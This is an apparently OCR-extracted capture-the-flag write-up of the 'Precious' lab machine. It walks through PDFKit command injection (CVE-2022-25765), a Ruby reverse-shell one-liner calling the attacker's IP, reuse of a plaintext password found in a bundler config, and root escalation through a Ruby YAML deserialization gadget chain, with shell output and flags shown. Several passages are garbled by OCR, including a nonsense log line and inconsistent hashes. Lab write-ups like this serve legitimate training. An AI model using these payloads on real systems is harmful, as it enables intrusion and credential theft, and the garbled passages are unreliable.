
INSIDE THIS ISSUE


Name



User Rating



User / System Owns





PRECIOUS - WRITE UP

OS: LINUX

Write-Up Date: 2022-12-07

PWN Date: 2022-12-05

RHOST IPv4: 10.10.11.189

LHOST: 10.10.16.24

NMAP

nmap -p- -sS -sV -sC - O 10.10.11.189

22 – SSH

80 - HTTP

→ HTTP Header: redirect to http://precious.htb/


OS: Linux

```
File Actions Edit View Help

GNU nano 6.4

127.0.0.1 localhost
127.0.1.1 kali
1::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters


10.10.11.189 precious.htb
```



/ETC/HOSTS

nano /etc/hosts

Mapped the IP to the http header



FLAG 1


http://precious.htb/




Entering random URLs into the search field returns us some output



Trying the way with a SQLi return us an empty PDF document. Which means we could use the Search field for an injection.





Because the PDF was empty, setting up a webserver does work too.	

INTRODUCED: 14 JUN 2022 CVE-2022-25765 CWE-78 FRIST ADDED BY SNYK How to fix? Upgrade pdfkit to version 0.8.7 or higher. Overview Affected versions of this package are vulnerable to Command Injection where the URL is not properly sanitized. PoC: An application could be vulnerable if it tries to render a URL that contains query string parameters with user input: PDFkit.new("http://example.com/?name=#(params(:name))").to_pdf If the provided parameter happens to contain a URL encoded character and a shell command substitution string, it will be included in the command that PDFkit executes to render the PDF: irb(main):058:0> puts PDFkit.new("http://example.com/?name=#("%20"sleep 5")").command withIntpoff --quiet [...] "http://example.com/?name=#("%20"sleep 5")").command Calling to_pdf on the instance shows that the sleep command is indeed executing: PDFkit.new("http://example.com/?name=#("%20"sleep 5")").to_pdf # 5 seconds wait... Of course, if the user can control completely the first argument of the PDFkit constructor, they can also exploit the command injection as long as it starts with "http":

Command Injection

Looking into the PDF properties it gives us the hint that the webserver uses PDFKIT to convert a website to an PDF.

After some research I found this page:

https://security.snyk.io/vuln/SNYK-RUBY-PDFKIT-2869795

Convert Web Page to PDF

Enter URL to fetch

http://10.10.16.24:8000/?name=#{'%20' sleep 5''}


Cannot load remote URL!

Using that example from the page above we could execute a command.

Playing around with available options

Convert Web Page to PDF Enter URL to fetch http://10.10.16.24:8000/cmd={'\%20`\whoami`\} Cannot load remote URL! *Z@IS#Z@NOT#Z@TINE#Z@NELP,#Z@TINE#Z@MENU#Z@STTIPPE@#Z@IITO#Z@Categories.#@AUSe#Z@#ZZ--nelpoverview#Z@Of#Z@all#Z@categories.#@AUSe#Z@#ZZ--nelpoverview#Z@Of#Z@all#Z@categories.#@AUSe#Z@#ZZ--nelpoverview#Z@Of#Z@all#Z@categories.#@AUSe#Z@#ZZ--nelpoverview#Z@Of#Z@all#Z@of#Z@Z 14:51:47] "GET / HTTP/1.1" 200 10.10.11.189 - [@Z/Dec/Z@Z2 14:55:02] "GET / HTTP/1.1" 200 10.10.11.189 - [@Z/Dec/Z@Z2 14:55:02] code 404, message File not found 10.10.11.189 - [@Z/Dec/Z@ZZ 14:55:02] "GET /cmd=#78'#Z@ruby'#7D HTTP/1.1" 404 -

The leading hint was the *whoami* command. Ruby was the return. It gives the hint that the Webserver is running ruby.



Searching in revshells.com for ruby, adjusting IPv4 and Port:

We could use it to spawn a reverse shell:

http://10.10.16.24:8000/cmd={'%20`ruby -rsocket - e'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10. 16.24",9007))'`'}

```
ruby@precious:/var/www/pdfapp$ python3 -c "import pty;pty.spawn('/bin/bash')'
python3 -c "import pty;pty.spawn('/bin/bash')"
ruby@precious:/var/www/pdfapp$ cat /etc/passwd
 cat /etc/passwd
 root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
 sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin
 systemd-network:x:101:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
 systemd-resolve:x:102:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
 messagebus:x:103:109::/nonexistent:/usr/sbin/nologin
 sshd:x:104:65534::/run/sshd:/usr/sbin/nologin
henry:x:1000:1000:henry,,,:/home/henry:/bin/bash
systemd-timesync:x:999:999:systemd Time Synchronization:/:/usr/sbin/nologin
 systemd-coredump:x:998:998:systemd Core Dumper:/:/usr/sbin/nologin
ruby:x:1001:1001::/home/ruby:/bin/bash
 _laurel:x:997:997::/var/log/laurel:/bin/false
 ruby@precious:/var/www/pdfapp$
ruby@precious:/var/www/pdfapp$ cd ~
cd
ruby@precious:~$ ls -la
total 28
total 25
drwxr-xr-x 4 ruby ruby 4096 Dec 5 08:28 ..
drwxr-xr-x 4 root root 4096 Oct 26 08:28 ..
drwxr-xr-x 4 root root 9 Oct 26 07:53 .bash_history → /dev/null
-rw-r--r-- 1 ruby ruby 220 Mar 27 2022 .bash_logout
-rw-r--r-- 1 ruby ruby 3526 Mar 27 2022 .bashrc
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 ruby ruby 4096 Dec 5 09:25 .cache
-rw-r--r-- 1 ruby ruby 807 Mar 27 2022 .profile
ruby@precious:~$ cd .bundle
cd .bundle
ruby@precious:~/.bundle$ ls -la
ls -la
total 12
dr-xr-xr-x 2 root ruby 4096 Oct 26 08:28 .
drwxr-xr-x 4 ruby ruby 4096 Dec 5 09:25 ..
-r-xr-xr-x 1 root ruby 62 Sep 26 05:04 config
ruby@precious:~/.bundle$ cd config
cd config
bash: cd: config: Not a directory
ruby@precious:~/.bundle$ cat config
cat config
BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI0aXAYFH"
ruby@precious:~/.bundle$
  cat config
```

BUNDLE_HTTPS://RUBYGEMS__ORG/: "henry:Q3c1AqGHtoI@aXAYFH"


After some enumeration found the next leading hint in rubys home directory:

/home/ruby/config

The password for another user is present

Using ssh and provide the username and password gives as access to the machine.

There is the user flag.



FLAG 2

sudo -l

```
henry@precious:/var/www/pdfapp$ sudo -l
Matching Defaults entries for henry on precious:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User henry may run the following commands on precious:
    (root) NOPASSWD: /usr/bin/ruby /opt/update_dependencies.rb
henry@precious:/var/www/pdfapp$ sudo /usr/bin/ruby

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
    #2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for henry:
Sorry, user henry is not allowed to execute '/usr/bin/ruby' as root on precious.
```

The User henry is only allowed to execute /usr/bin/bash
in combination with /opt/update_dependencies.rb

Inside the /opt/update_dependencies.rb was the following line:

YAML.LOAD(File.Read('dependencies.yml')

The script reads a dependencies.yml in the pwd and then loaded it.

```
ruby_yaml_load_sploit2.yaml
       - !ruby/object:Gem::Installer
           i: x
       - !ruby/object:Gem::SpecFetcher
           i: y
       - !ruby/object:Gem::Requirement
         requirements:
           !ruby/object:Gem::Package::TarReader
           io: &1 !ruby/object:Net::BufferedIO
             io: &1 !ruby/object:Gem::Package::TarReader::Entry
                read: 0
                header: "abc"
             debug_output: &1 !ruby/object:Net::WriteAdapter
                socket: &1 !ruby/object:Gem::RequestSet
                    sets: !ruby/object:Net::WriteAdapter
                        socket: !ruby/module 'Kernel'
                        method_id: :system
                    git_set: id
                method_id: :resolve
```

After another google session I found the following page:

https://gist.github.com/staaldr aad/89dffe369e1454eedd3306 edc8a7e565

where the git_set: id

entry could be used to gain a shell

```
root@precious:~# cd /home/henry/ m
   root@precious:/home/henry/_m# cat dependencies.yml
   - !ruby/object:Gem::Installer
   - !ruby/object:Gem::SpecFetcher
   - !ruby/object:Gem::Requirement
        requirements:
             !ruby/object:Gem::Package::TarReader
             io: 81 !ruby/object:Net::BufferedIO
                  io: 81 !ruby/object:Gem::Package::TarReader::Entry
                         read: 0
                         header: "abc"
                  debug_output: δ1 !ruby/object:Net::WriteAdapter
                         socket: &1 !ruby/object:Gem::RequestSet
                                   sets: !ruby/object:Net::WriteAdapter
                                            socket: !ruby/module 'Kernel'
                                            method_id: :system
                                   git_set: /bin/bash -i
method_id: :resolve
rootalprecious:/home/henry# ls -la
total 32
drwxr-xr-x 4 henry henry 4096 Dec 5 12:21 .
drwxr-xr-x 4 root root 4096 Ct 26 08:28 ..
lrwxrwxrwx 1 root root 9 Sep 26 05:04 .bash_history → /dev/null
-rw-r-r- 1 henry henry 220 Sep 26 04:44 .bash_clagout
-rw-r-r- 1 henry henry 325 Sep 26 04:44 .bash_cr
drwxr-xr-x 3 henry henry 4096 Dec 5 13:21 .local
drwxr-xr-x 2 henry henry 4096 Dec 5 13:35 _m
-rw-r-r- 1 henry henry 4096 Dec 5 13:35 _m
-rw-r-r- 1 henry henry 4096 Dec 5 13:22 .docal
drwxr-xr-x 2 henry henry 4096 Dec 5 13:22 user.txt
rootalprecious:/home/henry# cd /root
rootalprecious:-# ls -la
total 28
drwx — 4 root root 4096 Nov 21 15:32 .
drwxr-xr-x 18 root root 4096 Nov 21 15:11 ..
lrwxrwxrwx 1 root root 571 Apr 10 2021 .bashrc
drwxr-xr-x 3 root root 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 root root 4096 Oct 26 08:28 .bundle
drwxr-xr-x 3 root root 4096 Nov 21 15:31 .local
-rw-r-r-1 root root 33 Dec 5 12:20 root.txt
rootalprecious:-# cat root.txt
raofa59961077f6c95cd7cd3d5740ec88
rootalprecious:-# cat root.txt
raofa59961077f6c95cd7cd3d5740ec88
rootalprecious:-#
```

a6a59961d77f6c95cd7cd3d5740ec88

Final yml

qit set: /bin/bash -i gives us the root shell